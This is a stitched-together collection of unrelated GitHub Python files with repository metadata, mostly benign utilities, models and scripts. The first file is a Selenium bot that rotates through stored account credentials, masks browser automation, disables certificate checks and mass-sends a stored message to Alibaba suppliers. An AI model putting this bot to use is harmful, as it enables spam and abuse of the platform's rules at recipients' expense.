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/Alibaba Inquiry Sender.py

bdae985a770a16170dfdcca296444d149d67b88f

[]

no_license

asimejaz14/AliBaba-Scraper

42fc9eb78a0157a60d219ac03cdbc8ed4ee51783

f7718d75d9e430697df2f92cd258a96fea5dddc7

refs/heads/main

2023-01-10T01:14:57.563299

2020-11-14T10:56:18

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1

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py

import ctypes import time from bs4 import BeautifulSoup from pyfiglet import Figlet from selenium import webdriver from selenium.common.exceptions import TimeoutException, NoSuchElementException, ElementClickInterceptedException from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait f = Figlet(font='slant') print(f.renderText('Alibaba Inquiry Sender')) chrome_options = webdriver.ChromeOptions(); chrome_options.add_experimental_option("useAutomationExtension", False) chrome_options.add_argument("--disable-extensions") chrome_options.add_argument("--start-maximized") chrome_options.add_argument("--incognito") chrome_options.add_argument('--ignore-certificate-errors') chrome_options.add_argument('--ignore-ssl-errors') chrome_options.add_argument("user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)" " Chrome/47.0.2526.111 Safari/537.36") def countdown(t): while t > 0: # print("Moving to next supplier page in", t, " seconds") t -= 1 time.sleep(1) def get_supplier_urls(url_get): driver.get(url_get) # /html/body/div[1]/div[2]/div/div[1]/div/div[2] select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[1]/div[2]/div/div[1]/div/div[2]'))) # /html/body/div[1]/div[2]/div/div[1]/div/div[2] html = select_option.get_attribute('innerHTML') soup = BeautifulSoup(html, 'lxml') supplier_urls = [] for item in soup.findAll("div", {"data-spm": "35"}): # button csp contact = item.find("a", {"class": "button csp"}, href=True) contact_url = 'https:' + contact['href'] supplier_urls.append(contact_url) return supplier_urls try: file_path = input("Input URL file: ") file_path = file_path.strip('\"') file_path = file_path.rstrip('\"') except FileNotFoundError: print("File not found") exit() msg = '' with open('message.txt', encoding='utf-8') as file: msg = file.read() urls_to_capture = [] with open(file_path, encoding='utf-8') as file: urls = file.readlines() for url in urls: url = url.rstrip('\n') urls_to_capture.append(url) with open('credentials.txt', encoding='utf-8') as file: creds = file.readlines() def login(username, password): driver.get('https://passport.alibaba.com/icbu_login.htm') # username select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div[2]/div[2]/div[1]/div/form/div[4]/dl[1]/dd/div/input'))) select_option.click() select_option.send_keys(username) # password select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div[2]/div[2]/div[1]/div/form/div[4]/dl[2]/dd/div/input'))) select_option.click() select_option.send_keys(password) try: select_option = WebDriverWait(driver, 15).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div[2]/div[2]/div[1]/div/form/div[4]/dl[3]/dd[1]/div/div/div[1]/div[2]/span'))) ctypes.windll.user32.MessageBoxW(0, "Press ok and verify", "Login", 1) time.sleep(15) select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div[2]/div[2]/div[1]/div/form/div[5]/input[2]'))) select_option.click() except TimeoutException: # time.sleep(15) # login select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located((By.XPATH, '//html/body/div[2]/div[2]/div[2]/div[1]/div/form/div[5]/input[2]'))) select_option.click() # verifying login # select_option = WebDriverWait(driver, 60).until( # EC.presence_of_element_located((By.XPATH, '//html/body/div[1]/header/div[2]/div[3]/div/div/form/div[2]'))) errors = [] with open('errors.txt', 'w', encoding='utf-8') as file: counter1 = 0 for url in urls_to_capture: # spliting username and password if counter1 == len(creds): counter1 = 0 cr_splited = creds[counter1].split(':') counter1 += 1 username = cr_splited[0] password = cr_splited[1] password = password.rstrip('\n') print("Logging in", username, password) driver = webdriver.Chrome(options=chrome_options) login(username, password) time.sleep(5) sup_urls = get_supplier_urls(url) print(f"Sending inquiry to {len(sup_urls)} suppliers one by one") counter = 0 for s_url in sup_urls: counter += 1 try: # if counter ==3: # break time.sleep(3) driver.get(s_url) select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div/form/div[1]/div[4]/div/textarea'))) select_option.click() select_option.send_keys(msg) # /html/body/div[2]/div/div[2]/div/span select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div/form/div[1]/div[5]/div[3]/div[2]/input'))) select_option.click() # print("URL:", counter) # print(s_url) print('Inquiry sent') except TimeoutException: print("INVALID", s_url) errors.append(s_url) except NoSuchElementException: print("INVALID", s_url) errors.append(s_url) except ElementClickInterceptedException: select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div/div[2]/div/span'))) select_option.click() select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div/form/div[1]/div[4]/div/textarea'))) select_option.click() select_option.send_keys(msg) # /html/body/div[2]/div/div[2]/div/span select_option = WebDriverWait(driver, 60).until( EC.presence_of_element_located( (By.XPATH, '//html/body/div[2]/div/form/div[1]/div[5]/div[3]/div[2]/input'))) select_option.click() # print("URL:", counter) # print(s_url) print('Inquiry sent') final_errors = set(errors) for f in final_errors: file.write(f) file.write('\n') driver.quit() print() print("Automated bot delay 25 mins") print() countdown(1500) # login() print("Press any key to exit...") driver.quit() # --add-data "venv\Lib\site-packages\pyfiglet;./pyfiglet"

[ "noreply@github.com" ]

asimejaz14.noreply@github.com

baba91a7ec782d10e70f4645c4c4bc184b8c00af

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/ContourPerlin.py

a13256c03be96cf4ec5df6970ced13dab8970e63

[]

no_license

Codingmace/Island-Generator

2411f13e76d914c17c6e188c7659839d9c83262e

19be89e94474cfd7352e0916a50362733965d996

refs/heads/master

2022-02-14T21:29:52.486702

2019-08-18T21:24:58

null

0

null

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Python

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import PIL, random, sys, argparse, math from PIL import Image, ImageDraw import noise def main(): parser = argparse.ArgumentParser() parser.add_argument("--width", default=1500, type=int) parser.add_argument("--height", default=1500, type=int) parser.add_argument("-s", "--scale", default=200.0, type=float) parser.add_argument("-o", "--octaves", default=6, type=int) parser.add_argument("-p", "--persistence", default=.5, type=float) parser.add_argument("-l", "--lacunarity", default=2.0, type=float) parser.add_argument("-b", "--base", default=0, type=int) parser.add_argument("-md", "--max_distance", default=900.0, type=float) parser.add_argument("-a", "--alter", default=0, type=int) args = parser.parse_args() random.seed() offset = random.randint(1, 100) * random.randint(1, 1000) width, height = args.width, args.height octaves = args.octaves persistence = args.persistence lacunarity = args.lacunarity scale = args.scale base = args.base alter = args.alter max_distance = args.max_distance pil_image = Image.new('RGBA', (width, height)) pixels = pil_image.load() for i in range(pil_image.size[0]): for j in range(pil_image.size[1]): # Generates a value from -1 to 1 pixel_value = noise.pnoise2((offset+i)/scale, (offset+j)/scale, octaves, persistence, lacunarity, width, height, base) distance_from_center = math.sqrt(math.pow((i - width/2), 2) + math.pow((j - height/2), 2)) gradient_perc = distance_from_center/max_distance pixel_value -= math.pow(gradient_perc, 3) if (int(pixel_value * 100.0) > 30 - alter): pixels[i, j] = (240, 240, 240) elif (int(pixel_value * 100.0) > 20 - alter): pixels[i, j] = (200, 200, 200) elif (int(pixel_value * 100.0) > 5 - alter): pixels[i, j] = (134, 164, 114) elif (int(pixel_value * 100.0) > 0 - alter): pixels[i, j] = (236, 212, 184) else: pixels[i, j] = (153, 162, 157) pil_image.save('Examples/Island-' + str(offset) + '-w-' + str(width) + '-h-' + str(height) + '.png') if __name__ == "__main__": main() # 52 minutes - Definitely my maybe # -> 1:07 # watch endsceen -> credits

[ "erdavids@ncsu.edu" ]

erdavids@ncsu.edu

88d0260a7a136e03170f9a8e165482b3bf44af38

c5c32b63d6407136bc577b6b75b6bb9648bd11bc

/onboardingapp/team/migrations/0019_additionalinfo.py

44d7e32fbccfe91638f017c087542d67a2dbef97

[]

no_license

elston/onboardingapp

33adf70459797a0ce28b6178d09496d91275487f

b99f338cbed62812c069bf2e7dba781aec4ad741

refs/heads/master

2021-01-21T20:53:07.294200

2017-04-10T09:09:01

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UTF-8

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# -*- coding: utf-8 -*- # Generated by Django 1.9.6 on 2016-07-01 22:09 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('team', '0018_team_admin'), ] operations = [ migrations.CreateModel( name='AdditionalInfo', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('data', models.CharField(blank=True, max_length=255)), ('service', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='service_info', to='team.Service')), ('team', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='team_info', to='team.Team')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='teamuser_info', to=settings.AUTH_USER_MODEL)), ], ), ]

[ "3977522@gmail.com" ]

3977522@gmail.com

de1019483b69941bd011ad7b7553ba4bb7c5128a

2fcf03728f7aaee3f9f8de3dbdfdc35468e8b70a

/ReviewItems/Rew.py

9a2b1b9f6f31ad120040dce7e8f13966c59e9f75

[]

no_license

zolunga/PLN

1a116242a2a085978d7ce0aa191bc147193c7e7f

9efb5000d31e533285b9f9b5692c1184aba05628

refs/heads/master

2020-03-27T23:01:53.117689

2018-11-30T05:31:01

147,283,097

0

1

null

UTF-8

Python

false

5,446

py

# -*- coding: utf-8 -*- """ Created on Mon Nov 19 16:28:35 2018 @author: Alan """ import nltk import pickle import re import json import operator from bs4 import BeautifulSoup from nltk import word_tokenize from nltk.corpus import PlaintextCorpusReader def getCorpusTokens(NameDoc, encode): ''' Obtiene los tokens del texto y elimina algunos caracteres''' try: f=open(NameDoc, encoding=encode) t=f.read() f.close() except Exception as e: return [] soup = BeautifulSoup(t, 'lxml') tS = soup.get_text() tS = tS.replace('\x97', ' ') tS = tS.lower() tokens = nltk.Text(nltk.word_tokenize(tS)) return tokens def getCorpusSentences(NameDoc, encode): ''' Obtiene los tokens del texto y elimina algunos caracteres''' try: f=open(NameDoc, encoding=encode) t=f.read() f.close() except Exception as e: return [] soup = BeautifulSoup(t, 'lxml') tS = soup.get_text() tS = tS.replace('\x97', ' ') tS = tS.lower() tokens = nltk.Text(nltk.sent_tokenize(tS)) return tokens def cleanTokens(vocabulario): '''Solo limpia el vocabulario, usa una expresion regular para validar letra por letra y evitar que se ingresen caracteres no deseados o deconocidos en el corpus''' palabra_limpia = ""; Arr = [] for word in vocabulario: palabra_limpia = "" for letter in word: if re.match(r'[a-záéíóúñ]', letter): palabra_limpia += letter if palabra_limpia != "" and "www" not in palabra_limpia and "http" not in palabra_limpia: Arr.append(palabra_limpia) return Arr def deleteStopWords(vocabulario, sw): new_v = [] for word in vocabulario: if word not in sw: new_v.append(word) return new_v def loadLemmaDict(): file = open('dictionary', 'rb') dictionary = pickle.load(file) file.close() return dictionary def getAllReviews(): TemporalName1 = "" TemporalName2 = "" Temporaltext = [] texts = {} for i in range(0,6): #0, 6 for j in range (0, 30): #0, 30 TemporalName1 = "moviles/no_" + str(i) + "_" + str(j) + ".txt" TemporalName2 = "moviles/yes_" + str(i) + "_" + str(j) + ".txt" #Temporaltext = getCorpusTokens(TemporalName1, 'utf-8') Temporaltext = getCorpusSentences(TemporalName1, 'utf-8') if len(Temporaltext) > 0: texts[TemporalName1[8:]] = Temporaltext #Temporaltext = getCorpusTokens(TemporalName2, 'utf-8') Temporaltext = getCorpusSentences(TemporalName2, 'utf-8') if len(Temporaltext) > 0: texts[TemporalName2[8:]] = Temporaltext return texts def lemmatizado(text, lemmas): new_text = [] for word in text: dictLetter = lemmas[word[0]] for key in dictLetter: for Terminacion in dictLetter[key]['Terminaciones']: combinacion = key + "" + Terminacion if combinacion == word: new_text.append({'Palabra':dictLetter[key]['Palabra'], 'tipo': dictLetter[key]['Classificiacion']}) break new_text.append({'Palabra': word, 'tipo': "sn"}) return new_text def countNouns(texts): dictCount = {} for key in texts: for element in texts[key]: print(element) if element['tipo'].startswith("nc"): if element['Palabra'] in dictCount: dictCount[ element['Palabra'] ] += 1 else: dictCount[ element['Palabra'] ] = 1 return(dictCount) def compute_ngrams(sequence, n): return zip(*[ sequence[index:] for index in range(n)]) def getTopNgrams(corpus, ngram_val = 2, limit = 5): tokens = corpus ngrams = compute_ngrams(tokens, ngram_val) ngrams_freq_dist = nltk.FreqDist(ngrams) sorted_ngrams_fd = sorted(ngrams_freq_dist.items(), key =operator.itemgetter(1), reverse = True) sorted_ngrams = sorted_ngrams_fd[0:limit] sorted_ngrams = [(' '.join(text), freq) for text, freq in sorted_ngrams] return sorted_ngrams def getSentimentalDictionary(): dict1 = {} doc = open('fullStrengthLexicon.txt', encoding='utf-8') contents = doc.read() contents = contents.split("\n") for line in contents: pala=line.split("\t") dict1[pala[0]] = pala[len(pala)-1] return dict1 sentimental_dict = getSentimentalDictionary() textoSW = getCorpusTokens('stopwords_es.txt', 'utf-8') textoReviews = getAllReviews() lemmas = loadLemmaDict() dictionaryCount = {} file = open('Res1.txt','w') for key in textoReviews: print(key) #print(getTopNgrams(textoReviews[key], 2, 5)) textoReviews[key] = cleanTokens(textoReviews[key]) textoReviews[key] = deleteStopWords(textoReviews[key], textoSW) textoReviews[key] = lemmatizado(textoReviews[key], lemmas) file.write(key) file.write("-------------\n") file.write(json.dumps(textoReviews[key])) file.write("-------------\n\n\n\n\n\n\n\n\n\n\n\n") last = countNouns(textoReviews) last = sorted(last.items(), key=operator.itemgetter(1)) file.write("------------------------conteos----------------------------") file.write(json.dumps(last)) file.close()

[ "alangarcia3106@gmail.com" ]

alangarcia3106@gmail.com

20bdec0d5bd5b987f0ea7fa1bd7a366e3ad602c9

4fe0726ad41024f99e969c2e73861badd907e23d

/TestAndOtherProgramsToPlayWithVSCode/hello.py

5fb19379ebaad1ef6df2a486bf8f805b359de2cb

[]

no_license

bhattner143/StentResultCompilationForESR

ab8116a32d8bf66aea536b7e25f05980250a7ee3

1536c471ef099206c0aeb1c065288283b723b6a7

refs/heads/master

2020-08-01T10:13:53.277877

2019-09-26T00:18:37

210,961,048

0

null

UTF-8

Python

false

43

py

msg = "Hello World" print(msg) import sys

[ "dipankarbhattacharya@wifi-staff-172-24-62-35.net.auckland.ac.nz" ]

dipankarbhattacharya@wifi-staff-172-24-62-35.net.auckland.ac.nz

e4db636c96c7c98f7cde1d8fff7c3cbc6e56d138

ed7412b75887753c4b4a37b134e7b869d183514b

/taxProject/tax/models.py

67c187744095194b4346c03291066e3bb4bb72f5

[]

no_license

alison990222/pwc-tax-project

4ad73dbcc3f2330bf6d4919ee515887b97fa3b2b

c065ad4d1468262ffbdbd2e959cbcf1231dc2a69

refs/heads/master

2023-02-24T23:36:07.836691

2021-01-17T15:34:58

278,887,740

0

null

UTF-8

Python

false

1,152

py

from django.db import models class TaxDatabase(models.Model): # 商品编码 code = models.CharField(max_length=30) # 大类 firstCategory = models.CharField(max_length=60, null=True, default=None) # 大类id FirstCategoryID = models.CharField(max_length=30, null=True, default=None) # 小类 secondCategory = models.CharField(max_length=60, null=True, default=None) # 小类id SecondCategoryID = models.CharField(max_length=30, null=True, default=None) # info info = models.CharField(max_length=3000, null=True, default=None) class itemDatabase(models.Model): # item item = models.CharField(max_length=1000, null=True, default=None) # 商品编码 itemCode = models.CharField(max_length=30) # 大类 itemFirstCategory = models.CharField(max_length=60, null=True, default=None) # 大类id itemFirstCategoryID = models.CharField(max_length=30, null=True, default=None) # 小类 itemSecondCategory = models.CharField(max_length=60, null=True, default=None) # 小类id itemSecondCategoryID = models.CharField(max_length=30, null=True, default=None)

[ "zhangxt0222@163.com" ]

zhangxt0222@163.com

4ed23754e991aa7060ba6eb0d47ad7a5ae3e4dfc

eb7d96d3c02c36d3c7a4c1714aa04bd3c4fa0906

/torpedo.py

ac598aaaad211e28e34ce116c421b4612229e1e8

[]

no_license

dor-roter/asteroids

b7b3a5b483453ac9ff026da799080e782a238bb1

34a57bd38ea7021c7bfa6d1317317f49b99a2baa

refs/heads/master

2020-12-03T16:08:29.395427

2020-01-05T16:19:38

231,384,169

0

null

UTF-8

Python

false

2,100

py

################################################ # File: torpedo.py # Writer: Asif Kagan, Dor Roter # Login: asifka, dor.roter # Exercise: ------ # More: # Consulted: ----- # Internet: # Notes: ################################################ from game_object import GameObject import math class Torpedo(GameObject): """ A class extending GameObject describing a torpedo in our game """ # public static constants RADIUS = 4 LIFE_SPAN = 200 def __init__(self, ship): """ Constructor method to generate a torpedo :param ship: the launching ship :type ship: Ship """ self.__heading = ship.get_heading() speed_vec = self.__calc_speed(ship.get_speed()) super().__init__(ship.get_coordinates(), speed_vec, Torpedo.RADIUS) self.__time_alive = 0 def get_heading(self): """ Method to get the torpedos heading :return: int """ return self.__heading def get_draw_data(self): """ Method to get a tuple representing all necessary data for a draw. :return: Tuple (int, int, int) """ x, y = self._coordinates return x, y, self.__heading def time_tick(self): """ Method to count the torpedos time alive. :return: bool True - still alive False - timer ran out, the torpedo blew up """ self.__time_alive += 1 return self.__time_alive <= Torpedo.LIFE_SPAN def __calc_speed(self, ship_speed): """ Private util function to calculate the torpedos speed based on the launching ship speed. :param ship_speed: a tuple representing the launching ships x,y initial speed :type ship_speed: Tuple: (int, int) :return: Tuple: (int, int) """ ship_x, ship_y = ship_speed rad_heading = math.radians(self.__heading) x_speed = ship_x + 2*math.cos(rad_heading) y_speed = ship_y + 2*math.sin(rad_heading) return x_speed, y_speed

[ "dor.roter.10@gmail.com" ]

dor.roter.10@gmail.com

7dcb2f9b496fcb6212835db99ece1469a3157641

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2022-11-10T03:43:43.825472

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def swap_columns(a, i, j): print('start: ') for row in a: print(row) for y in range(len(a[1])): for x in range(len(a)): if y == i: a[x][i], a[x][j] = a[x][j], a[x][i] print('end: ') for row in a: print(row) swap_columns([[11, 12, 13, 14], [21, 22, 23, 24], [31, 32, 33, 34]], 0, 1)

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ctatuk@gmail.com

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JTdeKay/qbb2018-answers

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#!/usr/bin/env python3 import sys if len(sys.argv) > 1: f = open( sys.argv[1] ) else: f = sys.stdin count =0 for i, line in enumerate( f ): if line[0] == "@": continue if "NM:i:0" in line: count += 1 print(count) # if count >10: # break # fields = line.rstrip("\r\n").split("\t") # tx_len = int(fields[4]) - int(fields[3]) # if tx_len > 10000: # print( fields[5], tx_len )

[ "jdekay1@jhu.edu" ]

jdekay1@jhu.edu

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mintproject/data-catalog-client

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refs/heads/master

2020-12-08T21:56:02.785671

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# coding: utf-8 """ MINT Data Catalog API Documentation for MINT Data Catalog # noqa: E501 The version of the OpenAPI document: 1.0.0 Contact: danf@usc.edu Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import unittest import datacatalog from datacatalog.models.inline_object8 import InlineObject8 # noqa: E501 from datacatalog.rest import ApiException class TestInlineObject8(unittest.TestCase): """InlineObject8 unit test stubs""" def setUp(self): pass def tearDown(self): pass def testInlineObject8(self): """Test InlineObject8""" # FIXME: construct object with mandatory attributes with example values # model = datacatalog.models.inline_object8.InlineObject8() # noqa: E501 pass if __name__ == '__main__': unittest.main()

[ "maxiosorio@gmail.com" ]

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rashinanwani/Django-NotesApp

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from django.contrib import admin from .models import table1 from .models import viewnotes # Register your models here. admin.site.register(table1) admin.site.register(viewnotes) # Register the admin class with the associated model # admin.site.register(table2) # # Define the admin class # class AuthorAdmin(admin.ModelAdmin): # pass # # Register the admin class with the associated model # admin.site.register(Author, AuthorAdmin)

[ "rashi.nanwani2000@gmail.com" ]

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class Node: """ Класс для узла списка. Хранит значение и указатель на следующий узел. """ def __init__(self, value=None, next=None): self.value = value self.next = next # Создаем ноды(узлы) node0 = Node("Иван") node1 = Node("Алекс") node2 = Node("Петр") node3 = Node("Анна") node4 = Node("Кирилл") # TODO: Добавьте еще несколько нод с именами # Связываем ноды node0.next = node1 node1.next = node2 node2.next = node3 node3.next = node4 current_node = node0 while current_node: print(current_node.value) current_node = current_node.next

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fengshixiang/Target-Offer

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# -*- coding:utf-8 -*- # class ListNode: # def __init__(self, x): # self.val = x # self.next = None class Solution: # 返回从尾部到头部的列表值序列，例如[1,2,3] def printListFromTailToHead(self, listNode): # write code here l = [] while listNode is not None: l.append(listNode.val) listNode = listNode.next l = l[::-1] return l

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2022-12-25T01:07:37.174852

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import requests import json def get_sensor(): sensor_url = "http://127.0.0.1:9090/v1/sensors/ultrasonic" headers={'Content-Type':'application/json'} response=requests.get(url=sensor_url, headers=headers) print (response.content) res = json.loads(response.content) if (len(res["data"])>0): print ("ultrasonic id = %d : value = %d "%(res["data"]["ultrasonic"][0]["id"],res["data"]["ultrasonic"][0]["value"])) if __name__ == '__main__': get_sensor()

[ "960751327@qq.com" ]

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/enev/Lib/site-packages/PyQt5/uic/port_v2/as_string.py

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Flionay/PyQt5-

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############################################################################# ## ## Copyright (c) 2020 Riverbank Computing Limited <info@riverbankcomputing.com> ## ## This file is part of PyQt5. ## ## This file may be used under the terms of the GNU General Public License ## version 3.0 as published by the Free Software Foundation and appearing in ## the file LICENSE included in the packaging of this file. Please review the ## following information to ensure the GNU General Public License version 3.0 ## requirements will be met: http://www.gnu.org/copyleft/gpl.html. ## ## If you do not wish to use this file under the terms of the GPL version 3.0 ## then you may purchase a commercial license. For more information contact ## info@riverbankcomputing.com. ## ## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE ## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. ## ############################################################################# import re def as_string(obj): if isinstance(obj, basestring): return '"' + _escape(obj.encode('UTF-8')) + '"' return str(obj) _esc_regex = re.compile(r"(\"|\'|\\)") def _escape(text): # This escapes any escaped single or double quote or backslash. x = _esc_regex.sub(r"\\\1", text) # This replaces any '\n' with an escaped version and a real line break. return re.sub(r'\n', r'\\n"\n"', x)

[ "angyi_jq@163.com" ]

angyi_jq@163.com

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/EcalAlCaRecoProducers/config/reRecoTags/pulseShapeStudy_m100.py

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[]

no_license

ECALELFS/ECALELF

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refs/heads/master

2021-01-23T13:36:31.574985

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import FWCore.ParameterSet.Config as cms from CondCore.DBCommon.CondDBSetup_cfi import * RerecoGlobalTag = cms.ESSource("PoolDBESSource", CondDBSetup, connect = cms.string('frontier://FrontierProd/CMS_CONDITIONS'), globaltag = cms.string('74X_dataRun2_Prompt_v2'), toGet = cms.VPSet( cms.PSet(record = cms.string("EcalIntercalibConstantsRcd"), tag = cms.string("EcalIntercalibConstants_2012ABCD_offline"), connect = cms.untracked.string("frontier://FrontierProd/CMS_COND_31X_ECAL"), ), cms.PSet(record = cms.string("EcalPulseShapesRcd"), tag = cms.string("EcalPulseShapes_data"), connect = cms.untracked.string("sqlite_file:/afs/cern.ch/cms/CAF/CMSALCA/ALCA_ECALCALIB/pulseShapes/ecaltemplates_popcon_timeShifted_-1p000000ns.db"), ), cms.PSet(record = cms.string("EBAlignmentRcd"), tag = cms.string("EBAlignment_measured_v10_offline"), connect = cms.untracked.string("frontier://FrontierProd/CMS_CONDITIONS"), ), cms.PSet(record = cms.string("EEAlignmentRcd"), tag = cms.string("EEAlignment_measured_v10_offline"), connect = cms.untracked.string("frontier://FrontierProd/CMS_CONDITIONS"), ), cms.PSet(record = cms.string("ESAlignmentRcd"), # only Bon! tag = cms.string("ESAlignment_measured_v08_offline"), connect = cms.untracked.string("frontier://FrontierProd/CMS_CONDITIONS"), ), ) )

[ "shervin.nourbakhsh@cern.ch" ]

shervin.nourbakhsh@cern.ch

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/fabfile/servers.py

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nprapps/commencement

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refs/heads/master

2021-07-22T00:25:36.353670

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#!/usr/bin/env python """ Commands work with servers. (Hiss, boo.) """ import copy from fabric.api import local, put, settings, require, run, sudo, task from fabric.state import env from jinja2 import Template import app_config """ Setup """ @task def setup(): """ Setup servers for deployment. This does not setup services or push to S3. Run deploy() next. """ require('settings', provided_by=['production', 'staging']) require('branch', provided_by=['stable', 'master', 'branch']) if not app_config.DEPLOY_TO_SERVERS: print 'You must set DEPLOY_TO_SERVERS = True in your app_config.py before setting up the servers.' return install_google_oauth_creds() create_directories() create_virtualenv() clone_repo() checkout_latest() install_requirements() setup_logs() def create_directories(): """ Create server directories. """ require('settings', provided_by=['production', 'staging']) run('mkdir -p %(SERVER_PROJECT_PATH)s' % app_config.__dict__) run('mkdir -p /var/www/uploads/%(PROJECT_FILENAME)s' % app_config.__dict__) def create_virtualenv(): """ Setup a server virtualenv. """ require('settings', provided_by=['production', 'staging']) run('virtualenv -p %(SERVER_PYTHON)s %(SERVER_VIRTUALENV_PATH)s' % app_config.__dict__) run('source %(SERVER_VIRTUALENV_PATH)s/bin/activate' % app_config.__dict__) def clone_repo(): """ Clone the source repository. """ require('settings', provided_by=['production', 'staging']) run('git clone %(REPOSITORY_URL)s %(SERVER_REPOSITORY_PATH)s' % app_config.__dict__) if app_config.REPOSITORY_ALT_URL: run('git remote add bitbucket %(REPOSITORY_ALT_URL)s' % app_config.__dict__) @task def checkout_latest(remote='origin'): """ Checkout the latest source. """ require('settings', provided_by=['production', 'staging']) require('branch', provided_by=['stable', 'master', 'branch']) run('cd %s; git fetch %s' % (app_config.SERVER_REPOSITORY_PATH, remote)) run('cd %s; git checkout %s; git pull %s %s' % (app_config.SERVER_REPOSITORY_PATH, env.branch, remote, env.branch)) @task def install_requirements(): """ Install the latest requirements. """ require('settings', provided_by=['production', 'staging']) run('%(SERVER_VIRTUALENV_PATH)s/bin/pip install -U -r %(SERVER_REPOSITORY_PATH)s/requirements.txt' % app_config.__dict__) run('cd %(SERVER_REPOSITORY_PATH)s; npm install' % app_config.__dict__) @task def setup_logs(): """ Create log directories. """ require('settings', provided_by=['production', 'staging']) sudo('mkdir %(SERVER_LOG_PATH)s' % app_config.__dict__) sudo('chown ubuntu:ubuntu %(SERVER_LOG_PATH)s' % app_config.__dict__) @task def install_crontab(): """ Install cron jobs script into cron.d. """ require('settings', provided_by=['production', 'staging']) sudo('cp %(SERVER_REPOSITORY_PATH)s/crontab /etc/cron.d/%(PROJECT_FILENAME)s' % app_config.__dict__) @task def uninstall_crontab(): """ Remove a previously install cron jobs script from cron.d """ require('settings', provided_by=['production', 'staging']) sudo('rm /etc/cron.d/%(PROJECT_FILENAME)s' % app_config.__dict__) @task def install_google_oauth_creds(): """ Install Google Oauth credentials file (global) from workinprivate repo """ run('git clone git@github.com:nprapps/workinprivate.git /tmp/workinprivate-tmp') run('cp /tmp/workinprivate-tmp/.google_oauth_credentials %s' % OAUTH_CREDENTIALS_PATH) run('rm -Rf /tmp/workinprivate-tmp') @task def remove_google_oauth_creds(): """ Remove Google oauth credentials file (global) """ run('rm %s' % OAUTH_CREDENTIALS_PATH) def delete_project(): """ Remove the project directory. Invoked by shiva. """ run('rm -rf %(SERVER_PROJECT_PATH)s' % app_config.__dict__) """ Configuration """ def _get_template_conf_path(service, extension): """ Derive the path for a conf template file. """ return 'confs/%s.%s' % (service, extension) def _get_rendered_conf_path(service, extension): """ Derive the rendered path for a conf file. """ return 'confs/rendered/%s.%s.%s' % (app_config.PROJECT_FILENAME, service, extension) def _get_installed_conf_path(service, remote_path, extension): """ Derive the installed path for a conf file. """ return '%s/%s.%s.%s' % (remote_path, app_config.PROJECT_FILENAME, service, extension) def _get_installed_service_name(service): """ Derive the init service name for an installed service. """ return '%s.%s' % (app_config.PROJECT_FILENAME, service) @task def render_confs(): """ Renders server configurations. """ require('settings', provided_by=['production', 'staging']) with settings(warn_only=True): local('mkdir confs/rendered') # Copy the app_config so that when we load the secrets they don't # get exposed to other management commands context = copy.copy(app_config.__dict__) context.update(app_config.get_secrets()) for service, remote_path, extension in app_config.SERVER_SERVICES: template_path = _get_template_conf_path(service, extension) rendered_path = _get_rendered_conf_path(service, extension) with open(template_path, 'r') as read_template: with open(rendered_path, 'wb') as write_template: payload = Template(read_template.read()) write_template.write(payload.render(**context)) @task def deploy_confs(): """ Deploys rendered server configurations to the specified server. This will reload nginx and the appropriate uwsgi config. """ require('settings', provided_by=['production', 'staging']) render_confs() with settings(warn_only=True): for service, remote_path, extension in app_config.SERVER_SERVICES: rendered_path = _get_rendered_conf_path(service, extension) installed_path = _get_installed_conf_path(service, remote_path, extension) a = local('md5 -q %s' % rendered_path, capture=True) b = run('md5sum %s' % installed_path).split()[0] if a != b: print 'Updating %s' % installed_path put(rendered_path, installed_path, use_sudo=True) if service == 'nginx': sudo('service nginx reload') elif service == 'uwsgi': service_name = _get_installed_service_name(service) sudo('initctl reload-configuration') sudo('service %s restart' % service_name) elif service == 'app': run('touch %s' % app_config.UWSGI_SOCKET_PATH) sudo('chmod 644 %s' % app_config.UWSGI_SOCKET_PATH) sudo('chown www-data:www-data %s' % app_config.UWSGI_SOCKET_PATH) else: print '%s has not changed' % rendered_path @task def nuke_confs(): """ DESTROYS rendered server configurations from the specified server. This will reload nginx and stop the uwsgi config. """ require('settings', provided_by=['production', 'staging']) for service, remote_path, extension in app_config.SERVER_SERVICES: with settings(warn_only=True): installed_path = _get_installed_conf_path(service, remote_path, extension) sudo('rm -f %s' % installed_path) if service == 'nginx': sudo('service nginx reload') elif service == 'uwsgi': service_name = _get_installed_service_name(service) sudo('service %s stop' % service_name) sudo('initctl reload-configuration') elif service == 'app': sudo('rm %s' % app_config.UWSGI_SOCKET_PATH) """ Fabcasting """ @task def fabcast(command): """ Actually run specified commands on the server specified by staging() or production(). """ require('settings', provided_by=['production', 'staging']) if not app_config.DEPLOY_TO_SERVERS: print 'You must set DEPLOY_TO_SERVERS = True in your app_config.py and setup a server before fabcasting.' run('cd %s && bash run_on_server.sh fab %s $DEPLOYMENT_TARGET %s' % (app_config.SERVER_REPOSITORY_PATH, env.branch, command))

[ "davideads@gmail.com" ]

davideads@gmail.com

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no_license

llyuer/Tigress_protection

